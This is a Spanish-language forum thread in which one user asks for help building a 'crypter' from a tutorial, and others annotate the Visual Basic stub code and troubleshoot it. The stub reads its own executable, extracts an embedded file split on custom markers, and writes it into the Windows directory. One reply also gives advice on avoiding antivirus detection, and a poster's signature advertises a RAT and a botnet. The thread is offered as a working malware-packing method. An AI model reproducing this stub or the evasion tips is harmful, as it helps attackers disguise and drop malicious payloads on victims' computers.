Mostrar mensajes previos
Ordenar por
por DarkJairo Sin sí­ntomas
bueno hace poko me descargue un tutorial de internet en el que te enseñaba de forma facil ha hacer un crypter.

el tutorial os lo podeis descargar de aki asi tambien lo aporto aki xDDD:

[Enlace externo eliminado para invitados]

bueno despues de este parentesis sigo ...

mi duda lleguo cuanto tube que crear el Stub por en el tutorial no te dice si tienes k crearlo en un form o en un modulo ... no te dice nada solo te da el codigo y ea arreglatelas .... asi k me gustaria que le echarais un vistazo al tuto si lo quereis ver entero, aki solo pongo la parte del Stub pork el cliente lo entendi perfecto y lo tengo echo xDD

Esto es lo unico k sale en el tutorial sobre el Stub:
3. Desarrollo del Stub

Código: Seleccionar todo

'Declaramos unas variables:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As
Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal
lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA"
(ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As
Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim Firma As String
Dim SubFirma As String
'Ruta:
Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName,
Len(ModuleName)))
Ruta = ModuleName
End Function
'En el evento load del form:
On Error Resume Next
Dim Archivo As String
Dim Nombre As String
Dim RutaExt As String
Dim Ejecutar As String
Firma = "|By Ev3n|"
SubFirma = "|Urban Hack|"
Open Ruta For Binary As #1
Dim Todo As String
Todo = Space(LOF(1))
Get #1, , Todo
Close #1
Dim Partes As Variant, SubPartes As Variant
Partes = Split(Todo, Firma)
For n = 1 To UBound(Partes)
SubPartes = Split(Partes(n), SubFirma)
For i = 0 To UBound(SubPartes)
Select Case i
Case 0
L0L = SubPartes(i)
Case 1
Nombre = SubPartes(i)
Case 2
Select Case SubPartes(i)
Case "Windows"
RutaExt = Environ("WINDIR")
End Select
Case 3
Ejecutar = SubPartes(i)
Case 4
Archivo = SubPartes(i)
End Select
Next i
Open RutaExt & "\" & Nombre For Binary As #1
Put #1, , Archivo
Close #1

Veis eso es solo lo k te da del Stub no te esplica nada asik si me pudierais echar una mano os lo agradeceria mucho....
por m3m0_11 Esquizofrénico

Código: Seleccionar todo

'Declaramos unas variables:  //esto son apis no variables
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As
Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal
lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA"
(ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As
Long) As Integer
Const GWW_HINSTANCE = (-6) b //declara constantes
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim Firma As String  //declara variables
Dim SubFirma As String
'Ruta:
Private Function Ruta() As String  //esta funcion obtiene la ruta del ejecutable 
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName,
Len(ModuleName)))
Ruta = ModuleName
End Function
'En el evento load del form:
On Error Resume Next  //declara variables
Dim Archivo As String
Dim Nombre As String
Dim RutaExt As String
Dim Ejecutar As String
Firma = "|By Ev3n|"
SubFirma = "|Urban Hack|"
Open Ruta For Binary As #1  //se abre asi mismo y se lee
Dim Todo As String
Todo = Space(LOF(1))  
Get #1, , Todo
Close #1
Dim Partes As Variant, SubPartes As Variant  //declara variables
Partes = Split(Todo, Firma)  //Separa el archivo en partes, divididas por la firma que es "|By Ev3n|"
For n = 1 To UBound(Partes) // Divide las partes en una subpartes, pero como no sabemos el numero de elementos de la matriz pues utilizamos ubound
SubPartes = Split(Partes(n), SubFirma) //Separa cada elemento de la matriz en las subpartes correspondientes, divididas por la subfirma que es  "|Urban Hack|"
For i = 0 To UBound(SubPartes) //Divide las subpartes
Select Case i  //Depende del valor de i, hará una cosa u otra 
Case 0  
L0L = SubPartes(i)
Case 1
Nombre = SubPartes(i)
Case 2
Select Case SubPartes(i)
Case "Windows"
RutaExt = Environ("WINDIR")
End Select
Case 3
Ejecutar = SubPartes(i)
Case 4
Archivo = SubPartes(i)
End Select
Next i
Open RutaExt & "\" & Nombre For Binary As #1 //abre el archivo en una ruta correspondiente y coloca el archivo.
Put #1, , Archivo
Close #1
lo que no explique digo yo que lo deberias de entender, pero aun asi si no lo entiendes, dimelo y con gusto te lo explico



salu2
m3m0´s - RAT....(100%) --> publicado ;)
m3m0´s Botnet... (100%)
por DarkJairo Sin sí­ntomas
gracias por las aclaraciones pero eso mas o menos lo cojo ... mi duda es donde coloco el codigo del Stub, pork en el tutorial no te dice si lo tienes que hacer en un form o en un modulo.... ya cuando me digais eso creo k podre hacerlo xDD aunk seguro k tendre alguna duda pero ya preguntare ... xDDD

gracias de antemano....
por m3m0_11 Esquizofrénico
DarkJairo escribió:gracias por las aclaraciones pero eso mas o menos lo cojo ... mi duda es donde coloco el codigo del Stub, pork en el tutorial no te dice si lo tienes que hacer en un form o en un modulo.... ya cuando me digais eso creo k podre hacerlo xDD aunk seguro k tendre alguna duda pero ya preguntare ... xDDD

gracias de antemano....
pues mira, lo puedes hacer en un form o en un modulo, yo de todas formas te recomiendo un modulo, ya que el form lo tienes que poner como no visible etc.. etc.. y eso esta empezando a ser detectado por algunos av´s, asi que te bastaria con poner el resto del code igual y en parte que pone evento load del form pones Private Sub Main como muestro en el ejemplo

Código: Seleccionar todo

Private Sub Main()
On Error Resume Next  //declara variables
Dim Archivo As String
Dim Nombre As String
Dim RutaExt As String
Dim Ejecutar As String
Firma = "|By Ev3n|"
SubFirma = "|Urban Hack|"
Open Ruta For Binary As #1  //se abre asi mismo y se lee
Dim Todo As String
Todo = Space(LOF(1)) 
Get #1, , Todo
Close #1
Dim Partes As Variant, SubPartes As Variant  //declara variables
Partes = Split(Todo, Firma)  //Separa el archivo en partes, divididas por la firma que es "|By Ev3n|"
For n = 1 To UBound(Partes) // Divide las partes en una subpartes, pero como no sabemos el numero de elementos de la matriz pues utilizamos ubound
SubPartes = Split(Partes(n), SubFirma) //Separa cada elemento de la matriz en las subpartes correspondientes, divididas por la subfirma que es  "|Urban Hack|"
For i = 0 To UBound(SubPartes) //Divide las subpartes
Select Case i  //Depende del valor de i, hará una cosa u otra
Case 0 
L0L = SubPartes(i)
Case 1
Nombre = SubPartes(i)
Case 2
Select Case SubPartes(i)
Case "Windows"
RutaExt = Environ("WINDIR")
End Select
Case 3
Ejecutar = SubPartes(i)
Case 4
Archivo = SubPartes(i)
End Select
Next i
Open RutaExt & "\" & Nombre For Binary As #1 //abre el archivo en una ruta correspondiente y coloca el archivo.
Put #1, , Archivo
Close #1
End Sub
de todas formas no empieces a hacer un Binder o Joiner sin saber mucho de VB, haz cosas faciles primero


suerte con el proyecto
m3m0´s - RAT....(100%) --> publicado ;)
m3m0´s Botnet... (100%)
por DarkJairo Sin sí­ntomas
mira al compilar me da este error

[Enlace externo eliminado para invitados]

Porcierto cuando acave el crypter aportare montones de crypter echos por mi a este foro y uno de ellos te lo dedicare a ti por tener tanta paciencia com migo XDDDD
por ap0calypt0 Usa camisa de fuerza
DarkJairo escribió:mira al compilar me da este error

[Enlace externo eliminado para invitados]

Porcierto cuando acave el crypter aportare montones de crypter echos por mi a este foro y uno de ellos te lo dedicare a ti por tener tanta paciencia com migo XDDDD
Has añadido el modulo de encryptacion?
Eso pasa si la funcion no esta declarada o esta mal declarada...

Mostrar/Ocultar

por DarkJairo Sin sí­ntomas
ap0calypt0 escribió: Has añadido el modulo de encryptacion?
Eso pasa si la funcion no esta declarada o esta mal declarada...
Y como lo declaro??
por m3m0_11 Esquizofrénico
No te andes con rodeos eso es una funcion para obtener la ruta del propio archivo, pero es una gilipoyez, lo puedes hacer sin apis , basta con poner:

Código: Seleccionar todo

App.Path & "\" & App.Exename & ".exe" 'Sustituye esto por Ruta
salu2
m3m0´s - RAT....(100%) --> publicado ;)
m3m0´s Botnet... (100%)
Temas similares
Opiniones sobre éste programa por chochan en Nuestros Programas
Necesito ayuda con este proyecto por JoseManuel en Dudas y Preguntas
Links sobre el tema
Variantes de tema
Responder

Volver a “VB/.NET”